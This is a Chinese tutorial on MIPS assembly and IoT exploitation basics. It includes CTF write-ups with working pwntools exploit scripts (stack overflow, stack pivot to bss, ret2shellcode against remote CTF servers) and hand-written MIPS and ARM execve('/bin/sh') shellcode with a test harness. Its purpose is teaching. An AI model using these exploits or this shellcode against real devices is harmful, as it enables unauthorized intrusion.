IOT安全入门学习--MIPS汇编基础

写在前面

说下学习 MIPS 汇编基础的思路,作为一个接触新知识面的小白,我首先去查了一下如何编译 MIPS 架构的程序,然后自己写了一个简单的代码,放入 IDA 后开始进行汇编代码的学习,遇见一条指令就学习一条指令,为了观察更细致的内存变化同时还要学习如何用 gdb 来进行 MIPS 架构程序的调试。在这个过程中记录见到的汇编指令和寄存器等等,接着是函数调用约定的学习,参考着网上的文章再结合 gdb 调试基本就能理解透彻。感觉对 MIPS 汇编基础和函数调用约定已经得心应手,就可以做一些 PWN 题以此来稳固打下的基础,最后尝试来手写各种的 shellcode。希望这个思路能给之后自学者一点借鉴。

下面先让我们编译运行自己的第一个 MIPS 架构的程序

//mips-linux-gnu-gcc demo.c -o demo -static -g
#include<stdio.h>
int sum(int a,int b)
{
int value=a+b;
return value;
}

int main()
{
int c=sum(1,2);
printf("value ==> %d\n",c);
return 0;
}

启动与调试

启动

如果是小端序的程序使用 qemu-mipsel ./xxx 运行程序,如果是大端序的程序用 qemu-mips ./xxx 运行程序

补充:

  1. 如果运行动态链接的程序,可能会遇见一些报错, 这里的 解决方法 或许会对你有所帮助
  2. 使用 readelf -h xxx 可以查看程序的字节序

调试

调试分为 直接调试程序加载进程调试

直接调试程序

假设要调试的程序叫做 demo (大端序),那么在终端执行 qemu-mips -g 1234 ./demo

然后再开一个终端执行下面的命令(set endian big 这里是设置为大端序,如果是小端序的话设置为 little ,如果想加载程序符号表的话,再添加一个 symbol-file ./demo

gdb-multiarch
set architecture mips
set endian big
target remote localhost:1234

实际调试情况如下图,如此就可以进入到 gdb 的调试界面了

image-20230511212044987

如果感觉每次都要敲这几条命令有点麻烦的话,可以编写一个 shell 脚本来简化工作,比如我们创建一个叫做 loader.sh 脚本,编写内容如下(纯属举例,具体情况具体处理)

set architecture mips
set endian little
symbol-file ./pwn2
target remote localhost:1234

然后我们只需要执行 gdb-multiarch 后,执行一次 source loader.sh 命令即可。

加载进程调试

这个通常用于我们编写攻击脚本后,需要进行调试判断数据是否是预期的那样。

只需要在 EXP 中编写代码 p=process(["qemu-mipsel", "-g", "1234","./demo"]) 即可,这其实传入进去的就是一个命令包括参数列表。正常运行程序也是同理 p=process(["qemu-mips","./demo"])

剩下的依旧是新开一个终端执行 gdb-multiarch 命令等等(同上)

汇编指令

li (Load Immediate)指令用于将一个立即数存入一个通用寄存器, li $gp, 0x498300$gp 寄存器的值赋值为 0x498300

lui 指令将一个 16 位的立即数左移 16 位后存入目标寄存器中, lui $v0, 0x46 是将 0x46 立即数左移 16 位后存入 $v0 寄存器,即 $v0 寄存器的值为 0x460000

ori 指令是 MIPS 汇编中的一种逻辑运算指令,它可以将一个寄存器的低 16 位与一个 16 位的立即数按位或运算,并将结果存入另一个寄存器中。ori $t6,$t6,0x430a 指令将 t6 寄存器与 0x430a 立即数进行或运算,将结果放回 $t6

la (Load Address) 指令用于将一个地址或标签存入一个寄存器,la $v0, puts 指令将 puts 函数地址存入 $v0 寄存器中

lw (Load Word) 指令用于从一个指定的地址加载一个 word 类型的值到一个寄存器 lw $v0, 0x14($fp)$fp+0x14 的位置中的数据存入到 v0

sw (Store Word) 将源寄存器中的值存入指定地址,sw $ra, 0x24($sp) $ra 的值写入距离栈顶($sp)偏移 0x24 的内存单元中

move 指令用于寄存器之间值的传递,move $t5,$t1$t1 赋值给 $t5

addi 指令用于计算一个寄存器加上一个立即数,addi $t0,$t1,5$t1 加上 5 之后将结果放为 $t0

addu 指令用于计算无符号数之间进行的加法操作,addu $t0,$t1,$t2$t1$t2 进行无符号相加,结果存储在 $t0

add 指令和 addu 一样,只不过进行的是有符号数之间的加法。

addiu 指令将上面的 addiaddu 结合了一下, addiu $a1, $zero, 2 进行的是将寄存器$zero 加上一个立即无符号数 2 ,并将结果存回寄存器 $a1

jr 是跳转指令,jr $ra 跳转到 $ra 寄存器指向的地址处

jal 指令是跳转指令,jal target 复制当前的 PC 值到 $ra 寄存器,然后跳转到 target

bnez 指令用于在寄存器的值不为零时进行分支跳转,bnez $v0, loc_4005E8 表示当 $v0 不为零时跳转到 0x4005E8

b 是无条件跳转指令,b loc_400604 直接跳转到 0x400604 地址处

寄存器

通用寄存器

MIPS 体系结构中有 32 个通用寄存器,在汇编程序中可以用编号 $0-$31表示,也可以用寄存器的名字表示

image-20230511121821077

特殊寄存器

MIPS 架构中定义了 3 个特殊的寄存器,分别是 PC(程序计数器)、HI (乘除结果高位寄存器)、LO(乘除结果低位寄存器)。在进行乘法运算时, HILO 保存乘法的运算结果,其中 HI 存储高 32 位,LO 存储低 32 位;在进行除法运算时, HI 保存余数, LO 存储商。

MIPS32 架构知识

  • MIPS 固定 4 字节指令长度

  • 栈是从内存的高地址向低地址方向增长的

  • 叶子函数:函数内部没有再调用其他函数

  • 非叶子函数:函数内部调用其他函数的函数

  • 流水线效应:在分析 MIPS 汇编代码时会发现,其跳转到函数或者分支跳转语句的下一条都是 nop (如下图),这是因为 MIPS 采用了高度的流水线,其中最重要的是跳转指令导致的分支延迟效应。在分支跳转语句后面那条语句叫做分支延迟槽,当跳转语句刚执行的一瞬间,跳转到的地址刚填充好(填充到程序计数器),还没有执行程序计数器中存放的指令,分支延迟槽的指令已经被执行了,这就是流水线效应(几条指令被同时执行,只是处于不同的阶段, MIPS 不像其他架构那样存在流水线阻塞),为了避免出现问题,因此在分支跳转语句的下一条指令通常是 nop 指令或者其他有用的指令。

  • 缓存刷新机制:MIPS CPUs有两个独立的 cache : 指令cache数据cache 。 指令和数据分别在两个不同的缓存中。当缓存满了,会触发 flush , 将数据写回到主内存。攻击者的攻击payload 通常会被应用当做数据来处理,存储在数据缓存中。当 payload 触发漏洞, 劫持程序执行流程的时候,会去执行内存中的 shellcode .如果数据缓存没有触发 flush 的话,shellcode 依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储 shellcode 的地址处随机的代码,导致不可预知的后果。(通常执行 sleep(1) 刷新)

image-20230510202231987

函数调用约定

image-20230511073238845

函数调用时传参:如果函数的参数小于等于四个,那么会使用 $a0 ~ $a3 寄存器来存放参数。如果参数多于四个,那么多于的参数则存放到栈里(同时也会预留出前四个参数的内存空间,因为被调用者使用前四个参数时,会统一将参数放到保留的栈空间),具体情况是函数 A 调用函数 B ,调用者函数(函数A )会在自己的栈顶预留一部分空间来保存被调用者(函数 B )的参数,称之为调用参数空间(如下)

image-20230509225831965

函数 A 调用函数 B。如果 B 是叶子函数,那么在调用 B 函数时,会将 B 函数的返回地址存入 $ra 寄存器;如果 B 是非叶子函数(B 函数内部调用了一个 C 函数),那么在跳转到 B 函数时,会将其返回地址先存入 $ra 寄存器中,随后在 B 函数内部再将 $ra 寄存器的值存入栈中(位于 fp-0x4 的位置,如下图)。当 B 函数调用 C 函数时,会将其返回地址存入 $ra 寄存器,在返回时执行 jr $ra 指令回到 B 函数。现在假设 B 函数已经执行完毕准备返回到 A 函数,会将原先存入栈里的返回地址读到 $ra 寄存器中,最后执行 jr $ra 指令,回到 A 函数

image-20230509225747069

题目练习

axb_2019_mips

保护策略

image-20230511210201613

发现保护全关,并且是小端序

解决报错

尝试用 qemu-mipsel ./pwn2 运行时发现如下报错

qemu-mipsel: Could not open '/lib/ld-uClibc.so.0': No such file or directory

这表明在 /lib 目录下缺少 ld-uClibc.so.0 文件,我们使用 file pwn2 来查看一下文件信息(如下)

image-20230511204507118

发现动态链接器的路径是 /lib/ld-uClibc.so.0 ,而在这个位置没有找到 ld-uClibc.so.0 ,我们使用 sudo find / -name "ld-uClibc.so.0" 2>/dev/null 命令搜索一下,发现是有这个 ld-uClibc.so.0 文件的,只不过不在 /lib 目录下(如下图)

image-20230511204913250

因此创建一个软链接过去即可

sudo ln -s /home/zikh/Desktop/mipsel-linux-uclibc/lib/ld-uClibc.so.0 /lib/

然后我们尝试再次运行 pwn2

./qemu-mipsel ./pwn2                                   
./pwn2: can't load library 'libc.so.0'

这表明现在还缺少一个 libc.so.0 的库,我们使用 ls /home/zikh/Desktop/mipsel-linux-uclibc/lib/ 命令,发现是有 libc.so.0 这个库的(如下)

image-20230511202846472

因此我们依然给软链接到 /lib 目录下

sudo ln -s /home/zikh/Desktop/mipsel-linux-uclibc/lib/libc.so.0 /lib/ 

此时程序可以运行成功(如下图)

image-20230511203036662
漏洞分析
image-20230511214356466

首先这里有一个 read 输入,随后 printf 函数是使用了 %s 将数据进行打印,在这里怀疑可能有机会泄露一些数据,我们通过调试验证一下(如下)

image-20230511214644840

发现写入 0x14 字节的数据,确实可以顺带打印出来一个栈地址

image-20230511214754487

随后发现 vuln 函数存在栈溢出漏洞(如上)

利用思路

因为有了栈地址,并且栈区是有可执行的权限,所以打一个常规的 ret2shellcode

image-20230512072926146

如上图所示,发现本地是通了的,因此思路没有任何问题,EXP 如下

from tools import *
context(arch='mips', os='linux', endian='little', word_size=32,log_level='debug')
p=process(["qemu-mipsel","./pwn2"])
#p=remote("node4.buuoj.cn",25419)
#p=process(["qemu-mipsel", "-g", "1234","./pwn2"])
offset=0x14
payload=b'a'*offset
p.sendafter("What's your name: \n",payload)
p.recvuntil("Hello!, ")
p.recvuntil('a'*offset)
stack_addr=u32(p.recv().ljust(4,b'\x00'))
log_addr("stack_addr")
sleep(1)
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
payload=b"b"*0x24+p32(stack_addr-0x50)+shellcode
p.send(payload)
p.interactive()

不过这里在打远程的时候,明显发现泄露出来的并不是一个栈地址(因为本地和远程的环境不同,如下图),所以这个方法打远程是行不通的

image-20230512072536085

如果不泄露栈地址的话,我们考虑可以栈迁移到 bss 段上,并且往 bss 段写入 shellcode

image-20230512203620008

通过分析上面的汇编发现, read 的第二个参数 $a1fp 控制,而通过阅读 read 函数后的汇编代码,存在一句 lw $fp, 0x38($sp) ,又因为此处有栈溢出,相当于我们有一次任意地址写的机会。我们选择往 bss 段写入 shellcode ,然后寻找迁移的机会,迁移到 bss 段的 shellcode 执行。

执行完程序原本的 read 函数后,有一句 lw $ra,0x3c($sp) 的汇编,我们将距离栈顶 0x3c 的位置放成上面提到的 lw $fp,0x38($sp) 指令地址,以此跳转过去

image-20230512211611122

下图为向 bss 段写入数据的 read 函数

image-20230512211952663

readbss 段读入完数据后,执行了 mov $sp,$fp ,此时栈进行了迁移(fp 是最初控制的那个 bss 段地址)

image-20230512211852230

随后下一条指令 lw $ra,0x3c($sp)$ra 的值再次进行了设置,因为 $sp 是可控的 bss 段地址,所以 $ra 依然可控,我们将 $ra 设置为 shellcode 的起始地址(如下)

image-20230512212720766

但戏剧的是,这种打法导致了远程通了,本地没通。因为本题环境的原因,bss 段是没有可执行权限的,而远程的 bss 段是有可执行权限的。

EXP
from tools import *
#context(arch='mips', os='linux', endian='little', word_size=32,log_level='debug')
#p=process(["qemu-mipsel","./pwn2"])
p=remote("node4.buuoj.cn",25115)
#p=process(["qemu-mipsel", "-g", "1234","./pwn2"])
payload=b'a'*4
p.sendafter("What's your name: \n",payload)
sleep(1)
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
bss_addr=0x410ba0
payload=b"b"*0x20+p32(bss_addr)+p32(0x4007E4)
p.send(payload)

pause()
payload=b"a"*0x24+p32(0x410be0)+shellcode
p.send(payload)
p.interactive()

image-20230512213146674

ycb_2020_mipspwn

保护策略

image-20230514204013277

利用思路

本题与上一道的漏洞一样,同样是栈溢出。

采用的策略是打 ret2shellcode

只不过本题的 shellcode 是手写的 如何编写MIPS架构下的 shellcode

EXP
from tools import *
context(arch='mips', os='linux', endian='little', word_size=32,log_level='debug')
#p=process(["qemu-mipsel","./pwn2"])
p=remote("node4.buuoj.cn",29366)
#p=process(["qemu-mipsel", "-g", "1234","./pwn2"])
payload=b'a'*4
p.sendafter("Warrior,leave your name here:\n",payload)
p.sendlineafter("Your choice: ",str(7))

bss_addr=0x4115F0
p.sendafter("Write down your feeling:\n",0x38*b'b'+p32(bss_addr)+p32(0x400F54))
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')


shellcode=b"\x11\x01\x06\x24\xff\xff\xd0\x04\x00\x00\x06\x24\xe0\xff\xbd\x27\x14\x00\xe4\x27\x00\x00\x05\x24\xab\x0f\x02\x24\x0c\x00\x00\x00/bin/sh"
pause()
payload=b"a"*0x3c+p32(0x411648)+shellcode
p.send(payload)
p.interactive()

image-20230514204550938

shellcode编写(mips)

write 系统调用

我们先去尝试编写一段能够输出 ABC\n 字符串的 shellcode

创建 write.s 文件,将下面的汇编代码写入文件

.section .text
.globl __start
.set noreorder
__start:
addiu $sp,$sp,-32
lui $t6,0x4142
ori $t6,$t6,0x430a
sw $t6,0($sp)
li $a0,1
addiu $a1,$sp,0
li $a2,5
li $v0,4004
syscall

.section .text 指定了该段代码所在的节

.globl __start 表示将 __start 导出为全局符号( Global Symbol )。在C语言编写的程序中,程序的入口点通常被命名为 _start,而在汇编代码中通常使用 __start

.set noreorder 禁止指令重排,确保汇编代码的执行顺序与源代码中指定的顺序一致。指令重排是编译器和处理器在优化代码执行速度时采用的一种技术,它可以改变指令的执行顺序,以便在不影响程序逻辑的情况下提高代码执行效率。

__start: 是程序的入口点符号,在程序执行时将从这里开始执行指令。

addiu $sp,$sp,-32 将开辟一个 0x20 大小的栈帧

lui $t6,0x4142 是将 0x4142 左移 16 位后(也就是 0x41420000 )放入 $t6 寄存器。

ori $t6,$t6,0x430a$t6 与立即数 0x430a 进行或运算,所以 $t6 寄存器里会放 0x4142430a 这也就是 ABC\nASCII 码。

在看到这两条汇编语句的时候,我不禁疑惑起来,为什么不直接使用 li $t6,0x4142430a 指令呢,测试了一下编译链接之后的可执行文件依然是将这句指令转换成了 lui $t6,0x4142 ori $t6,$t6,0x430a ,最终查阅了资料发现在 MIPS 架构中立即数通常是 16 位的有符号整数(范围 -32768 ~ 32767 ),如果需要使用一个超出这个范围的立即数,汇编器会自动将其拆分为两个 16 位的立即数,并使用 luiori 指令将其装载到寄存器中

sw $t6,0($sp)ABC\n这四个字符写入栈中

li $a0,1 设置 write 系统调用的第一个参数,即标准输出流

addiu $a1,$sp,0ABC\n 的地址设置为 write 系统调用的第二个参数

li $a2,5 设置 write 系统调用的第三个参数,即字符串长度为 5ABC\n 别忘记字符串末尾是还有一个 \x00 字符的

li $v0,4004 设置 $v0 寄存器为 write 的系统调用号 查看 MIPS 架构的系统调用号

syscall 触发系统调用

mips-linux-gnu-as write.s -o write.o
mips-linux-gnu-ld write.o -o write

上面两条命令首先使用汇编器 mips-linux-gnu-aswrite.s 中的汇编代码转换为机器码(生成文件 write.o ),再用链接器 mips-linux-gnu-ld 将刚生成的 write.o 链接为 write 可执行文件。

为了简化汇编和链接的过程,我们来编写一个 shell 脚本,起名为 nasm.sh(如下)

src=$1
dst=$2
mips-linux-gnu-as $1 -o s.o
echo "as ok"
mips-linux-gnu-ld s.o -o $dst
echo "ld ok"
rm s.o

这样将编写的 shellcode 文件,变成可执行文件只需要使用 ./nasm.sh write.s write 命令即可(如下)

image-20230513140452675

可以看到 ABC\n 字符串已经被成功输出,程序崩溃的原因是因为 shellcode 没有正常的退出,导致执行了不正确指令让程序崩溃。 想调试 shellcode 的话,方式和调试 MIPS 架构的程序是一模一样的。

execve 系统调用

.section .text
.globl __start
.set noreorder
__start:
li $a2,0x111
p:bltzal $a2,p
li $a2,0
addiu $sp,$sp,-32
addiu $a0,$ra,20
li $a1,0
li $v0,4011
syscall
sc:
.byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68

前四行的解释上面已经提过了,就不再赘述。

li $a2,0x111 p:bltzal $a2,p li $a2,0 这三条指令的目的就是为了把 addiu $sp,$sp,-32 这条指令的地址放入 $ra 寄存器中。

addiu $sp,$sp,-32 是为了开辟一个新的栈帧,大小为 0x20

addiu $a0,$ra,20 这个指令中的 20 很讲究,这就要牵扯到 sc: 以及后面的东西了0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68 就是字符串 /bin/sh 。而这个字符串也是存放到了 text 段,就位于 syscall 后面的地址。因为 MIPS 架构中一个指令是固定的 4 字节,上面提到的 $ra 寄存器存储了 addiu $sp,$sp,-32 的地址,而这个指令距离 /bin/sh 中间还有 5 个指令,4*5 = 20 字节。因此这里的 $a0 拿到了 /bin/sh 字符串的地址。

目的是执行 execve("/bin/sh\x00",0,0) ,所以我们将 $a1 $a2 寄存器设置为 0 ,使用 li 指令进行赋值即可,execve 系统调用号为 4011

image-20230514203232473

shellcode的提取与测试

2024/4/14 补充:可以直接在这个网站提取

https://shell-storm.org/online/Online-Assembler-and-Disassembler/

shellcode 提取的话,我用的方法是将其放到 IDA 里面,然后 shift+e 提取(如下)

image-20230514203453331

然后用下面的 python 脚本,x 列表里面放的是刚刚提前的数据,最后输出的内容便是 shellcode 字节码

x = [  0x24, 0x06, 0x01, 0x11, 0x04, 0xD0, 0xFF, 0xFF, 0x24, 0x06,
0x00, 0x00, 0x27, 0xBD, 0xFF, 0xE0, 0x27, 0xE4, 0x00, 0x14,
0x24, 0x05, 0x00, 0x00, 0x24, 0x02, 0x0F, 0xAB, 0x00, 0x00,
0x00, 0x0C]
list=[]
print("Enter the endian of the shell code")
choice=input()
if choice=="little":
for i in range(0,len(x),4):
list.extend(reversed(x[i:i+4]))
if choice=="big":
list = x
result = ''.join([f'\\x{hex(num)[2:].zfill(2)}' for num in list])
print(result)

最后就是测试提取出来的字节码能否正确执行,我们使用下面的 C 脚本(要注意编译完程序的字节序,如果程序是大端的,而 shellcode 是按照小端序写的,那么肯定是运行失败的)

//mips-linux-gnu-gcc shellcode.c -o test -static -g
#include <stdio.h>
char shellcode[] = {
"\x24\x06\x01\x11\x04\xd0\xff\xff\x24\x06\x00\x00\x27\xbd\xff\xe0\x27\xe4\x00\x14\x24\x05\x00\x00\x24\x02\x0f\xab\x00\x00\x00\x0c/bin/sh"
};
void main()
{
void (*s)(void);
printf("sc size %d\n", sizeof(shellcode));
s = shellcode;
s();
}

image-20230514212707011

shellcode编写(arm)

学弟 monologue 后来在做一个 armshellcode 编写,这里就顺便也记录一下方法。下面是 arm 中调用 execve("/bin/sh\x00",0,0) 的汇编代码

.section .text
.globl __start
__start:
movw r5,#0x732f
movt r5,0x68
push {r5}
movw r5,#0x622f
movt r5,#0x6e69
push {r5}
mov r0,sp
mov r7,#0xb
mov r1,#0
mov r2,#0
svc #0

将其命名为 write1.s 执行下面的命令进行编译

arm-linux-gnueabi-as write1.s -o write1.o
arm-linux-gnueabi-ld write1.o -o write1

调试编译好的 shellcode 可以参考 这篇 文章

想将汇编代码转成机器码的话,可以通过这个 网站 直接转换,不需要上面再用 IDA 解析机器码的方式了

参考文章

mips_arm汇编学习 - Note (gitbook.io)

路由器漏洞分析环境搭建 | Prowes5’s Blog

(47条消息) MIPS下shellcode编写_Elwood Ying的博客-CSDN博客

《IoT从入门到入土》(1)–MIPS交叉编译环境搭建及其32位指令集 (yuque.com)